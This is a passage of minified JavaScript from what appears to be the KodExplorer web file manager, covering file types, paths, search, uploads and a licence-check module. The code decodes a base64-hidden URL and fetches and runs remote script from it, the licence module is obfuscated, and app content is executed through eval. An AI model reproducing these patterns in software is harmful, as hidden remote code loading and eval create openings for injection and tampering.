window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t,i)&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n=''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),n},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]() -}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var 